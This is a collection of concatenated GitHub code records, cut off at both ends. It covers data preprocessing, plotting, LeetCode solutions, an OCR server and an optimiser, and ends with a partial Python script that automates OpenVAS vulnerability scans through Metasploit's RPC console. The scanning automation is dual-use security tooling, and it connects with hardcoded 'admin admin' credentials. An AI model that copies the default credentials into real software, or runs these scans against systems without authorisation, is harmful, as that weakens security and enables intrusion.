headers=headers)\nprint(response.text)\n","repo_name":"InformationSecurityCenter/RDG","sub_path":"exploit/NKVD/exploit_1.py","file_name":"exploit_1.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"30160232454","text":"import pandas as pd\nimport matplotlib.pyplot as plt #导入图像库\nfrom sklearn.ensemble import RandomForestRegressor\n\n# 本脚本主要用户,数据的预处理,清洗\n\n\n# 用随机森林对缺失值预测填充函数\n# 在信用风险评级模型开发的第一步我们就要进行缺失值处理。缺失值处理的方法,包括如下几种。\n# (1) 直接删除含有缺失值的样本。\n# (2) 根据样本之间的相似性填补缺失值。\n# (3) 根据变量之间的相关关系填补缺失值。\n# 变量MonthlyIncome缺失率比较大,所以我们根据变量之间的相关关系填补缺失值,我们采用随机森林法\ndef set_missing(df):\n # 把已有的数值型特征取出来\n process_df = df.ix[:,[5,0,1,2,3,4,6,7,8,9]]\n # 分成已知该特征和未知该特征两部分\n known = process_df[process_df.MonthlyIncome.notnull()].as_matrix()\n unknown = process_df[process_df.MonthlyIncome.isnull()].as_matrix()\n # X为特征属性值\n X = known[:, 1:]\n # y为结果标签值\n y = known[:, 0]\n # fit到RandomForestRegressor之中\n rfr = RandomForestRegressor(random_state=0, n_estimators=200,max_depth=3,n_jobs=-1)\n rfr.fit(X,y)\n # 用得到的模型进行未知特征值预测\n predicted = rfr.predict(unknown[:, 1:]).round(0)\n print(predicted)\n # 用得到的预测结果填补原缺失数据\n df.loc[(df.MonthlyIncome.isnull()), 'MonthlyIncome'] = predicted\n return df\n\n# 数据预处理 在对数据处理之前,需要对数据的缺失值和异常值情况进行了解。Python内有describe()函数,可以了解数据集的缺失值、均值和中位数等\ndef data_init(data):\n data.describe().to_csv('DataDescribe.csv') # 了解数据集的分布情况\n data = set_missing(data) # 用随机森林填补比较多的缺失值\n data = data.dropna() # 删除比较少的缺失值\n data = data.drop_duplicates() # 删除重复项\n data.to_csv('MissingData.csv', index=False)\n data.describe().to_csv('MissingDataDescribe.csv')\n\n# 缺失值处理\ndef data_handle(data):\n # 年龄等于0的异常值进行剔除\n data = data[data['age'] > 0]\n # 箱形图\n data379 = data[\n ['NumberOfTime30-59DaysPastDueNotWorse', 'NumberOfTimes90DaysLate', 'NumberOfTime60-89DaysPastDueNotWorse']]\n data379.boxplot()\n # 剔除异常值\n # 对于变量NumberOfTime30-59DaysPastDueNotWorse、NumberOfTimes90DaysLate、NumberOfTime60-89DaysPastDueNotWorse这三个变量,\n # 由下面的箱线图图3-2可以看出,均存在异常值,且由unique函数可以得知均存在96、98两个异常值,因此予以剔除。同时会发现剔除其中一个变量的96、98值,其他变量的96、98两个值也会相应被剔除。\n data = data[data['NumberOfTime30-59DaysPastDueNotWorse'] < 90]\n data379 = data[\n ['NumberOfTime30-59DaysPastDueNotWorse', 'NumberOfTimes90DaysLate', 'NumberOfTime60-89DaysPastDueNotWorse']]\n # data379.boxplot()\n # plt.show()\n\n# 数据探索性分析\n# 在建立模型之前,我们一般会对现有的数据进行 探索性数据分析(Exploratory Data Analysis) 。\n# EDA是指对已有的数据(特别是调查或观察得来的原始数据)在尽量少的先验假定下进行探索。常用的探索性数据分析方法有:直方图、散点图和箱线图等。\n# 客户年龄分布如图4-1所示,可以看到年龄变量大致呈正态分布,符合统计分析的假设\ndef data_analysis(data):\n pass\n# 数据切分 为了验证模型的拟合效果,我们需要对数据集进行切分,分成训练集和测试集\ndef data_split(data):\n from sklearn.model_selection import train_test_split\n Y = data['SeriousDlqin2yrs']\n X = data.ix[:, 1:]\n # 测试集占比30%\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.3, random_state=0)\n # print(Y_train)\n train = pd.concat([Y_train, X_train], axis=1)\n test = pd.concat([Y_test, X_test], axis=1)\n clasTest = test.groupby('SeriousDlqin2yrs')['SeriousDlqin2yrs'].count()\n train.to_csv('TrainData.csv', index=False)\n test.to_csv('TestData.csv', index=False)\n\nif __name__ == '__main__':\n #载入数据 1 缺失值处理\n data = pd.read_csv('cs-training.csv')\n data_init(data)\n\n # 2 异常值处理\n data_handle(data)\n\n # 目标变量SeriousDlqin2yrs取反\n data['SeriousDlqin2yrs'] = 1 - data['SeriousDlqin2yrs']\n\n # 4 数据探索性分析\n from com.data_deal import SignalVariable as sv\n # 查看各个特征以及目标特征之间的相关性\n sv.feature_corr_analysis(data)\n data_analysis(data)\n\n # 5 数据切分 为了验证模型的拟合效果,我们需要对数据集进行切分,分成训练集和测试集\n # data_split(data)\n\n\n\n\n","repo_name":"tianjiansmile/Risk_Score_Model","sub_path":"com/data_deal/MissingValue.py","file_name":"MissingValue.py","file_ext":"py","file_size_in_byte":4807,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"75201113702","text":"\"\"\"This module contains functions that are used to display various info on an\norganoid.\nFor documentation please refer to the corresponding notebook:\nnotebooks/tyssue_taylor/models.display.ipynb\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import stats\n\nfrom tyssue.generation import generate_ring\nfrom tyssue.solvers.sheet_vertex_solver import Solver\nfrom tyssue.config.draw import sheet_spec\nfrom tyssue.draw.plt_draw import quick_edge_draw\nfrom tyssue.draw.plt_draw import sheet_view\n\nfrom tyssue_taylor.models.annular import AnnularGeometry as geom\nfrom tyssue_taylor.models.annular import model\nfrom tyssue_taylor.segmentation.segment2D import normalize_scale\nfrom tyssue_taylor.adjusters.adjust_annular import prepare_tensions\n\n\ndef create_organo(nb_cells, r_in, r_out, seed=None, rot=None, geom=geom):\n organo = generate_ring(nb_cells, r_in, r_out)\n Nf = organo.Nf\n geom.update_all(organo)\n alpha = 1 + 1/(20*(organo.settings['R_out']-organo.settings['R_in']))\n specs = {\n 'face': {\n 'is_alive': 1,\n 'prefered_area': organo.face_df.area,\n 'area_elasticity': 1., },\n 'edge': {\n 'ux': 0.,\n 'uy': 0.,\n 'uz': 0.,\n 'line_tension': 0.1,\n 'is_active': 1\n },\n 'vert': {\n 'adhesion_strength': 0.01,\n 'x_ecm': 0.,\n 'y_ecm': 0.,\n 'is_active': 1\n },\n 'settings': {\n 'lumen_elasticity': 1.,\n 'lumen_prefered_vol': organo.settings['lumen_volume'],\n 'lumen_volume': organo.settings['lumen_volume']\n }\n }\n organo.update_specs(specs, reset=True)\n normalize_scale(organo, geom, refer='edges')\n geom.update_all(organo)\n if seed is not None:\n symetric_tensions = set_init_point(organo.settings['R_in'],\n organo.settings['R_out'],\n organo.Nf, alpha)\n sin_mul = 1+(np.sin(np.linspace(0, 2*np.pi, organo.Nf,\n endpoint=False)))**2\n organo.face_df.prefered_area *= np.random.normal(1.0, 0.05, organo.Nf)\n organo.edge_df.line_tension = prepare_tensions(organo,\n symetric_tensions)\n organo.edge_df.loc[:Nf-1, 'line_tension'] *= sin_mul*np.random.normal(\n 1.0, 0.05, organo.Nf)\n geom.update_all(organo)\n if rot is not None:\n organo.vert_df.loc[:, 'x'] = (organo.vert_df.x.copy() * np.cos(rot) -\n organo.vert_df.y.copy() * np.sin(rot))\n print('rotated x',\n organo.vert_df.x.copy() * np.cos(rot) -\n organo.vert_df.y.copy() * np.sin(rot))\n organo.vert_df.loc[:, 'y'] = (organo.vert_df.x.copy() * np.sin(rot) +\n organo.vert_df.y.copy() * np.cos(rot))\n print('rotated y',\n organo.vert_df.x.copy() * np.sin(rot) +\n organo.vert_df.y.copy() * np.cos(rot))\n geom.update_all(organo)\n organo.vert_df[['x_ecm', 'y_ecm']] = organo.vert_df[['x', 'y']]\n organo.vert_df.loc[organo.basal_verts, 'adhesion_strength'] = 0.01\n new_tensions = organo.edge_df.line_tension\n organo.edge_df.loc[:, 'line_tension'] = new_tensions\n return organo\n\n\ndef rendering_results(organo, x_data, y_data, title, xlabel, ylabel, legend):\n slope, intercept, r_value, p_value, std_err = stats.linregress(x_data,\n y_data)\n fig, ax = plt.subplots()\n plt.plot(x_data, y_data, '.', markersize=10, alpha=0.4)\n plt.plot(x_data, intercept+slope*np.array(x_data), '-')\n plt.title(title, fontdict={'fontsize': 32})\n plt.legend(legend, loc='upper left', fontsize=16)\n plt.xlabel(xlabel, fontdict={'fontsize': 24})\n plt.ylabel(ylabel, fontdict={'fontsize': 24})\n fig.set_size_inches(12, 12)\n plt.xticks(fontsize=14)\n plt.yticks(fontsize=14)\n plt.show()\n std = np.sum(np.power(intercept+slope*np.array(x_data)-y_data, 2))\n print('R value :', r_value,\n '\\nStandard error :', (std/organo.Ne)**0.5)\n\n\ndef rendering_convergence_results(x_data, y_data, title, xlabel, ylabel,\n legend, data_dot='-', rol_win=50):\n fig, ax = plt.subplots()\n plt.plot(x_data, y_data, data_dot, markersize=10, alpha=0.4)\n rolling = y_data.rolling(rol_win, min_periods=0, center=True).mean()\n plt.plot(x_data, rolling, data_dot, markersize=20, alpha=1)\n plt.title(title, fontdict={'fontsize': 32})\n plt.legend(legend, loc='upper left', fontsize=16)\n plt.xlabel(xlabel, fontdict={'fontsize': 24})\n plt.ylabel(ylabel, fontdict={'fontsize': 24})\n fig.set_size_inches(12, 12)\n plt.xticks(fontsize=14)\n plt.yticks(fontsize=14)\n plt.show()\n\n\ndef print_tensions(exp_organo, th_organo):\n draw_specs = sheet_spec()\n tension_max = np.max(exp_organo.edge_df.line_tension.values.copy())\n edge_color = 1/tension_max*exp_organo.edge_df.line_tension.values.copy()\n cmap = plt.cm.get_cmap('viridis')\n edge_cmap = cmap(edge_color)\n draw_specs['vert']['visible'] = False\n draw_specs['edge']['color'] = edge_cmap\n draw_specs['edge']['width'] = 0.25+3*edge_color\n fig, ax = quick_edge_draw(th_organo, lw=5, c='k', alpha=0.2)\n fig, ax = sheet_view(exp_organo, ax=ax, **draw_specs)\n fig.set_size_inches(12, 12)\n plt.xlabel('Size in µm')\n plt.ylabel('Size in µm')\n\n\ndef plot_force_inference(organo, coefs, cmap='tab20'):\n draw_specs = sheet_spec()\n edge_color = np.ones(organo.Nf*3)\n cmap = plt.cm.get_cmap(cmap)\n edge_cmap = cmap(edge_color)\n draw_specs['vert']['visible'] = False\n draw_specs['edge']['color'] = edge_cmap\n draw_specs['edge']['width'] = edge_cmap\n fig, ax = sheet_view(organo, **draw_specs)\n U = np.concatenate([coefs[i][coefs[i] != 0]\n for i in range(organo.Nv)])\n V = np.concatenate([coefs[i+6][coefs[i+6] != 0]\n for i in range(organo.Nv)])\n X = np.concatenate([[organo.vert_df.x[i]]*len(coefs[i][coefs[i] != 0])\n for i in range(organo.Nv)])\n Y = np.concatenate([[organo.vert_df.y[i]]*len(coefs[i][coefs[i] != 0])\n for i in range(organo.Nv)])\n C = np.concatenate([np.argwhere(coefs[i] != 0)\n for i in range(organo.Nv)])\n for i in range(organo.Nv):\n q = ax.quiver(X, Y, U, V, C, cmap=cmap)\n ax.quiverkey(q, X=0.3, Y=1.1, U=10,\n label='Quiver key, length = 10', labelpos='E')\n fig.set_size_inches(12, 12)\n plt.xlabel('Size in µm')\n plt.ylabel('Size in µm')\n","repo_name":"felixquinton/tyssue-taylor","sub_path":"tyssue_taylor/models/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":6770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"25219541739","text":"import tidy\r\n\r\noptions = dict(output_xhtml=True,\r\n add_xml_decl=True,\r\n doctype='strict',\r\n indent='auto',\r\n tidy_mark=False,\r\n hide_comments=True,\r\n wrap=100)\r\n\r\n\r\nclass PrettifyMiddleware(object):\r\n \"\"\"Prettify middleware\"\"\"\r\n\r\n def process_response(self, request, response):\r\n if response.headers['Content-Type'].split(';', 1)[0] == 'text/html':\r\n content = response.content\r\n content = str(tidy.parseString(content, **options))\r\n response.content = content\r\n return response\r\n","repo_name":"gulBAC/gulBAC-oldsite","sub_path":"prettify.py","file_name":"prettify.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"40777186257","text":"# https://leetcode.com/explore/challenge/card/august-leetcoding-challenge/551/week-3-august-15th-august-21st/3428/\nclass Solution:\n def numsSameConsecDiff(self, n: int, k: int):\n res=[]\n if n==1:\n res.append(0)\n def dfs(num,n):\n if n==0:\n res.append(num)\n return\n lsd=num%10\n if lsd>=k:dfs(num*10+lsd-k,n-1)\n if k>0 and lsd+k<10:dfs(num*10+lsd+k,n-1)\n for d in range(1,10):\n dfs(d,n-1)\n return res\n","repo_name":"keshavsingh4522/Python","sub_path":"LeetCode/August Leetcode Challenge/Numbers With Same Consecutive Differences.py","file_name":"Numbers With Same Consecutive Differences.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"36"} +{"seq_id":"29207977768","text":"from collections import defaultdict, deque\n\n\ndef FindMaximumProb(edges, probability, start, end):\n g = defaultdict(list)\n for i in range(len(edges)):\n src, dst = edges[i][0], edges[i][1]\n prob = probability[i]\n g[src].append((dst, prob))\n g[dst].append((src, prob))\n q = deque()\n q.append((start, 1))\n visited = defaultdict(int)\n while q:\n node, prob = q.popleft()\n if visited[node] > prob:\n continue\n else:\n visited[node] = prob\n for adj, nextProb in g[node]:\n if visited[adj] < prob * nextProb:\n q.append((adj, prob * nextProb))\n return visited[end]\n\n\nedges = [[0, 1], [1, 2], [0, 2]]\nprobability = [0.5, 0.5, 0.2]\nstart = 0\nend = 2\nprint(FindMaximumProb(edges, probability, start, end))\n","repo_name":"sakshi5250/6Companies30Days","sub_path":"Walmart/Question1.py","file_name":"Question1.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"8695721867","text":"# video/wscript\nimport Options\n\ndef set_options(opt):\n opt.tool_options(\"compiler_cxx\")\n\ndef configure(conf):\n conf.check_tool(\"compiler_cxx\")\n conf.check_tool(\"node_addon\")\n\ndef build(bld):\n obj = bld.new_task_gen(\"cxx\", \"shlib\", \"node_addon\")\n obj.cxxflags = [\n \"-I/opt/vc/include/\",\n \"-I/home/pi/node-video/rpi/include/\",\n# \"-I/opt/vc/include/\",\n# \"-I/opt/vc/include/interface/vcos/pthreads\",\n# \"-DSTANDALONE\",\n# \"-D__STDC_CONSTANT_MACROS\",\n# \"-D__STDC_LIMIT_MACROS\",\n# \"-DTARGET_POSIX\",\n# \"-D_LINUX\",\n# \"-fPIC\",\n# \"-DPIC\",\n# \"-D_REENTRANT\",\n# \"-D_LARGEFILE64_SOURCE\",\n# \"-D_FILE_OFFSET_BITS=64\",\n# \"-U_FORTIFY_SOURCE\",\n# \"-Wall\",\n# \"-g\",\n# \"-DHAVE_LIBOPENMAX=2\",\n# \"-DOMX\",\n# \"-DOMX_SKIP64BIT\",\n# \"-ftree-vectorize\",\n# \"-pipe\",\n# \"-DUSE_EXTERNAL_OMX\",\n# \"-DHAVE_LIBBCM_HOST\",\n# \"-DUSE_EXTERNAL_LIBBCM_HOST\",\n# \"-DUSE_VCHIQ_ARM\",\n# \"-Wno-psabi\",\n ]\n obj.linkflags = [\n \"-L/opt/vc/lib/\",\n# \"-lEGL\",\n \"-lGLESv2\",\n# \"-lbcm_host\",\n# \"-lvcos\",\n# \"-lvchiq_arm\",\n \"/home/pi/node-video/rpi/libvideo.so\",\n ]\n obj.target = \"video\"\n obj.source = \"src/init.cc src/webgl/renderer.cc src/webgl/object.cc\"\n","repo_name":"cheery/node-gdev","sub_path":"wscript","file_name":"wscript","file_ext":"","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"34301444413","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport json\nimport numpy as np\nimport random\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom ocr import OCRNeuralNetwork\n\n\n#服务器端配置\nHOST_NAME = 'localhost'\nPORT_NUMBER = 9000\n\n# 这个值是通过运行神经网络设计脚本得到的最优值\nHIDDEN_NODE_COUNT = 15\n\n# 加载数据集\ndata_matrix = np.loadtxt('data.csv', delimiter=',')\ndata_labels = np.loadtxt('dataLabels.csv')\n\n# 转换成list类型\ndata_matrix = data_matrix.tolist()\ndata_labels = data_labels.tolist()\n\n# 数据集一共5000个数据,train_indice存储用来训练的数据的序号\ntrain_indice = list(range(5000))\n\n# 打乱训练顺序\nrandom.shuffle(train_indice)\n\nnn = OCRNeuralNetwork(HIDDEN_NODE_COUNT, data_matrix, data_labels, train_indice)\n\nclass JSONHandler(BaseHTTPRequestHandler):\n \"\"\"处理接收到的POST请求\"\"\"\n def do_POST(self):\n response_code = 200\n response = ''\n var_len = int(self.headers.get('Content-Length'))\n #content = self.rfile.read(var_len)\n # payload = json.loads(content)\n payload = json.loads(self.rfile.read(var_len))\n\n # 如果是训练请求,训练然后保存训练完的神经网络\n if payload.get('train'):\n nn.train(payload['trainArray'])\n nn.save()\n # 如果是预测请求,返回预测值\n elif payload.get('predict'):\n print(nn.predict(data_matrix[0]))\n response = {\n 'type': 'test',\n 'result': nn.predict(payload['image'])\n }\n else:\n response_code = 400\n \n self.send_response(response_code)\n self.send_header('Content-type', 'application/json')\n self.send_header('Access-Control-Allow-Origin', '*')\n self.end_headers()\n if response:\n self.wfile.write(json.dumps(response).encode('utf-8'))\n\n def do_GET(self):\n if self.path == '/' or self.path.find('.') > 0:\n if self.path == '/':\n file = 'ocr.html'\n else:\n file = self.path.split('/')[-1]\n self.send_response(200)\n self.send_header('Content-type', 'text/html; charset=utf-8')\n self.send_header('Access-Control-Allow-Origin', '*')\n self.end_headers()\n with open(file, 'rb') as f:\n self.wfile.write(f.read())\n else:\n response_code = 404\n\n\nif __name__ == '__main__':\n server = HTTPServer((HOST_NAME, PORT_NUMBER), JSONHandler)\n print('server on ', server.server_address)\n\n server.serve_forever()\n\n","repo_name":"eternity-phoenix/Private","sub_path":"BP_ocr/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13660334757","text":"#Newton Notations in the Convex Optimization of S.Boyd\nimport numpy as np\n# import matplotlib.pyplot as plt\nimport math\nfrom functools import partial\ndef log(x):\n try:\n return math.log(x)\n except ValueError:\n return -math.inf\n\n\ndef line_search(f,\n x: \"starting point in the feasible domain of f\",\n Delta_x: \"descent direction\",\n gradient_f_x: \"gradient of f at x\",\n a: \"affinity of approximation\" = 0.25,\n b: \"decreasing rate\" = 0.5) -> \"step size\":\n \"\"\"Backtracking line search in the Convex Optimization of S.Boyd page 464.\"\"\"\n t = 1\n while f(x + t*Delta_x) > f(x) + a*t*gradient_f_x @ Delta_x:\n t = b*t\n return t\n\ndef newton_method(\n f: \"convex function to be minimized\",\n x: \"starting point in the strictly feasible domain of f\",\n e: \"tolerance, >0\",\n gradient_f,\n hessian_f,\n a: \"line search parameter, affinity of approximation\" = 0.25,\n b: \"line search parameter, decreasing rate\" = 0.5) -> \"x*\":\n \"\"\"Newton's method in the page 487\"\"\"\n while True:\n Grad_f_x = gradient_f(x)\n # hfx = hessian_f(x)\n Hess_f_x_inv = np.linalg.inv(hessian_f(x))\n \n decrement = Grad_f_x @ Hess_f_x_inv @ Grad_f_x\n if decrement/2 <= e:\n return x\n newton_step = -Hess_f_x_inv @ Grad_f_x\n\n t = line_search(f, x, newton_step, Grad_f_x, a, b)\n x = x + t*newton_step\n\ndef barrier_inegality(\n f_s: \"list of convex function to be minimized and convex inegality constraints\",\n x: \"strictly feasible starting point\",\n e: \"tolerance, >0\",\n grad_f_s: \"list of gradients from f0 to fm\",\n hess_f_s: \"list of hessians from f0 to fm\",\n t: \"t0 > 0\" = 1,\n nu: \"> 1\" = 5) -> \"x*\":\n\n n = x.size\n f0, constraints = f_s[0], f_s[1:]\n m = len(constraints)\n grad_f0, grad_constraints = grad_f_s[0], grad_f_s[1:]\n hess_f0, hess_constraints = hess_f_s[0], hess_f_s[1:]\n\n def phi(x): \n return -sum(log(-f_i(x)) for f_i in constraints)\n def grad_phi(x):\n return sum(-1/(constraints[i](x)) * grad_constraints[i](x) for i in range(m))\n def hess_phi(x):\n l = []\n for i in range(m):\n fi_x = constraints[i](x)\n hess_fi_x = hess_constraints[i](x)\n grad_fi_x = grad_constraints[i](x)\n\n part1 = -hess_fi_x/fi_x\n\n _l = [grad_fi_x[j]*grad_fi_x[k] for j in range(n) for k in range(n)]\n part2 = np.reshape(_l, (n,n)) / fi_x**2\n\n l.append(part1 + part2)\n return sum(l)\n \n # f0_values = [f0(x)]\n\n while True:\n def f(t, x): return t * f0(x) + phi(x)\n def grad_f(t, x): return t* grad_f0(x) + grad_phi(x)\n def hess_f(t, x): return t* hess_f0(x) + hess_phi(x)\n x_star_t = newton_method(partial(f, t),\n x, e,\n partial(grad_f, t),\n partial(hess_f, t))\n # x_star_t = newton_method(lambda x: t * f0(x) + phi(x),\n # x, e,\n # lambda x: t* grad_f0(x) + grad_phi(x),\n # lambda x: t* hess_f0(x) + hess_phi(x))\n\n x = x_star_t\n # f0_values.append(f0(x))\n if m/t < e:\n # plt.plot(f0_values)\n # plt.show()\n # print(f0_values[-1], \"f(x)*\")\n # print(x, 'x*')\n return x\n t = nu * t\n\n\n","repo_name":"lliill/DDP","sub_path":"Trust_Region/newton_barriers.py","file_name":"newton_barriers.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"26417487603","text":"\"\"\"\nQuesto modulo si occupa di automatizzare l'integrazione\ntra Metasploit ed OpenVAS.\n\"\"\"\nfrom pymetasploit3.msfrpc import MsfRpcClient\nfrom pymetasploit3.msfconsole import MsfRpcConsole\nfrom time import sleep\nfrom sys import exit, stderr\nfrom re import compile\nfrom os import getcwd, kill, getpid\nfrom signal import SIGTERM\nfrom parameters import *\nfrom functools import wraps\nimport inspect\n\n\ndef logger(function):\n \"\"\"\n Decoratore. Stampa a schermo le informazioni riguardanti\n l'esecuzione di una funzione come:\n - nome;\n - parametri;\n - return della funzione.\n \"\"\"\n\n @wraps(function)\n def wrapper(*args, **kwargs):\n if DEBUG:\n params = []\n arg_spec = inspect.getfullargspec(function).args\n for arg_name, arg_value in zip(arg_spec, args):\n if type(arg_value) is str:\n if len(arg_value) < 2 * LOG_SIZE:\n params.append(arg_name + \":\" + arg_value)\n else:\n params.append(arg_name + \":\" +\n arg_value[:LOG_SIZE] + \" . . . \"\n + arg_value[-LOG_SIZE:])\n else:\n params.append(arg_name + \":\" + str(arg_value))\n\n func_signature = function.__name__ + \\\n '(' + ', '.join(params) + ')'\n\n print(\"LOGGER:\\t\" + func_signature)\n ret_value = function(*args, **kwargs)\n\n print(\"LOGGER:\\t\" + function.__name__ + \"{}\".format(\n \" returned \" + (str(ret_value)\n if ret_value is not None else \"None\")))\n return ret_value\n else:\n return function(*args, **kwargs)\n\n return wrapper\n\n\n@logger\ndef exit_successfully(console):\n \"\"\"\n Chiude la connessione tra i vari moduli integrati:\n Metasploit e OpenVAS.\n \"\"\"\n try:\n console.execute(\"openvas_disconnect\")\n del (console)\n kill(getpid(), SIGTERM)\n except:\n print(\"Error while closing the program\", file=stderr)\n\n\n@logger\ndef read_console(console_data):\n \"\"\"\n Legge ed interpreta i dati provenienti dalla console\n del client di Metasploit.\n \"\"\"\n data = console_data['data']\n str_data = data.rstrip().split('\\n')\n if \"[+] OpenVAS connection successful\" in str_data and \\\n not any(PATTERN.match(line) for line in str_data):\n parts = data.partition(\"[-]\")\n print(parts[0])\n if parts[1]:\n print(\"Done.\")\n return\n if any('[+]' in string for string in str_data):\n parts = data.partition(\"[-]\")\n print(parts[0])\n if parts[1]:\n print(\"Done.\")\n exit_successfully(console)\n\n\n@logger\ndef init_console(passwd):\n \"\"\"\n Inizializza il client e la console per\n la connesione a Metasploit.\n\n Restituisce l'oggetto console in caso di successo,\n False in caso di insuccesso.\n \"\"\"\n try:\n client = MsfRpcClient(passwd)\n console = MsfRpcConsole(client, cb=read_console)\n console.execute(\"load openvas\")\n sleep(SLEEP_TIME)\n console.execute(\"openvas_connect admin admin 127.0.0.1 9390\")\n return console\n except:\n return False\n\n\n@logger\ndef print_lists(console, to_print):\n \"\"\"\n Stampa a schermo le liste richieste dai parametri inseriti in input.\n\n Restituisce True in caso di successo, false in caso di insuccesso.\n \"\"\"\n\n @logger\n def get_config_list(console):\n \"\"\"\n Invia alla console di metasploit il comando di stampare a schermo\n la lista delle configurazioni.\n\n Restituisce True in caso di successo, false in caso di insuccesso.\n \"\"\"\n try:\n console.execute(\"openvas_config_list\")\n sleep(SLEEP_TIME)\n return True\n except:\n return False\n\n @logger\n def get_format_list(console):\n \"\"\"\n Invia alla console di metasploit il comando di stampare a schermo\n la lista dei formati dei report.\n\n Restituisce True in caso di successo, false in caso di insuccesso.\n \"\"\"\n try:\n console.execute(\"openvas_format_list\")\n sleep(SLEEP_TIME)\n return True\n except:\n return False\n\n @logger\n def get_target_list(console):\n \"\"\"\n Invia alla console di metasploit il comando di stampare a schermo\n la lista dei target.\n\n Restituisce True in caso di successo, false in caso di insuccesso.\n \"\"\"\n try:\n console.execute(\"openvas_target_list\")\n sleep(SLEEP_TIME)\n return True\n except:\n return False\n\n @logger\n def get_task_list(console):\n \"\"\"\n Invia alla console di metasploit il comando di stampare a schermo\n la lista dei task.\n\n Restituisce True in caso di successo, false in caso di insuccesso.\n \"\"\"\n try:\n console.execute(\"openvas_task_list\")\n sleep(SLEEP_TIME)\n return True\n except:\n return False\n\n @logger\n def get_report_list(console):\n \"\"\"\n Invia alla console di metasploit il comando di stampare a schermo\n la lista dei report.\n\n Restituisce True in caso di successo, false in caso di insuccesso.\n \"\"\"\n try:\n console.execute(\"openvas_report_list\")\n sleep(SLEEP_TIME)\n return True\n except:\n return False\n\n if \"config_list\" in to_print:\n if not get_config_list(console):\n print(\"Error while getting config list\", file=stderr)\n return False\n if \"format_list\" in to_print:\n if not get_format_list(console):\n print(\"Error while getting format list\", file=stderr)\n return False\n if \"target_list\" in to_print:\n if not get_target_list(console):\n print(\"Error while getting target list\", file=stderr)\n return False\n if \"task_list\" in to_print:\n if not get_task_list(console):\n print(\"Error while getting task list\", file=stderr)\n return False\n if \"report_list\" in to_print:\n if not get_report_list(console):\n print(\"Error while getting report list\", file=stderr)\n return False\n return True\n\n\n@logger\ndef get_action(args):\n \"\"\"\n Restituisce la funzione da eseguire insieme ad un dizionario contenente\n i relativi argomenti, richiesti dai parametri inseriti in input\n \"\"\"\n\n @logger\n def target_create(console, args):\n \"\"\"\n Invia alla console di metasploit il comando di\n creare il target con gli argomenti inseriti a linea di comando:\n --name\n --host\n --comment\n\n Restituisce True in caso di successo, false in caso di insuccesso.\n \"\"\"\n try:\n console.execute(f'openvas_target_create \"{args[\"name\"]}\"\\\n {args[\"host\"]} \"{args[\"comment\"]}\"')\n return True\n except:\n return False\n\n @logger\n def target_delete(console, args):\n \"\"\"\n Invia alla console di metasploit il comando di\n eliminare il target con gli argomenti inseriti a linea di comando:\n --target-id\n\n Restituisce True in caso di successo, false in caso di insuccesso.\n \"\"\"\n try:\n console.execute(f'openvas_target_delete {args[\"target_id\"]}')\n return True\n except:\n return False\n\n @logger\n def task_create(console, args):\n \"\"\"\n Invia alla console di metasploit il comando di\n creare un task con gli argomenti inseriti a linea di comando:\n --name\n --comment\n --config-id\n --target-id\n\n Restituisce True in caso di successo, false in caso di insuccesso.\n \"\"\"\n try:\n console.execute(f'openvas_task_create \"{args[\"name\"]}\" \\\n \"{args[\"comment\"]}\" {args[\"config_id\"]} \\\n {args[\"target_id\"]}')\n return True\n except:\n return False\n\n @logger\n def task_start(console, args):\n \"\"\"\n Invia alla console di metasploit il comando di\n avviare un task con gli argomenti inseriti a linea di comando:\n --task-id\n\n Restituisce True in caso di successo, false in caso di insuccesso.\n \"\"\"\n try:\n console.execute(f'openvas_task_start {args[\"task_id\"]}')\n return True\n except:\n return False\n\n @logger\n def task_delete(console, args):\n \"\"\"\n Invia alla console di metasploit il comando di\n eliminare un task con gli argomenti inseriti a linea di comando:\n --task-id\n\n Restituisce True in caso di successo, false in caso di insuccesso.\n \"\"\"\n try:\n console.execute(f'openvas_task_delete {args[\"task_id\"]} ok')\n return True\n except:\n return False\n\n @logger\n def report_download(console, args):\n \"\"\"\n Invia alla console di metasploit il comando di\n scaricare un report con gli argomenti inseriti a linea di comando:\n --report-id\n --format-id\n --name\n\n Restituisce True in caso di successo, false in caso di insuccesso.\n \"\"\"\n try:\n console.execute(f'openvas_report_download {args[\"report_id\"]}\\\n {args[\"format_id\"]} {args[\"path\"]} \"{args[\"name\"]}\"')\n return True\n except:\n return False\n\n function = None\n new_args = {}\n for k, v in args.items():\n if v:\n if \"target_create\" in k: return target_create, \\\n {\"name\": args[\"name\"], \"host\": args[\"host\"],\n \"comment\": args[\"comment\"]}\n elif \"target_delete\" in k:\n return target_delete, \\\n {\"target_id\": args[\"target_id\"]}\n elif \"task_create\" in k:\n return task_create, \\\n {\"name\": args[\"name\"], \"comment\": args[\"comment\"],\n \"config_id\": args[\"config_id\"],\n \"target_id\": args[\"target_id\"]}\n elif \"task_start\" in k:\n return task_start, \\\n {\"task_id\": args[\"task_id\"]}\n elif \"task_delete\" in k:\n return task_delete, \\\n {\"task_id\": args[\"task_id\"]}\n elif \"report_download\" in k:\n return report_download, \\\n {\"report_id\": args[\"report_id\"],\n \"format_id\": args[\"format_id\"],\n \"path\": PATH, \"name\": args[\"name\"]}\n\n# Quanti caratteri verranno stampati dal 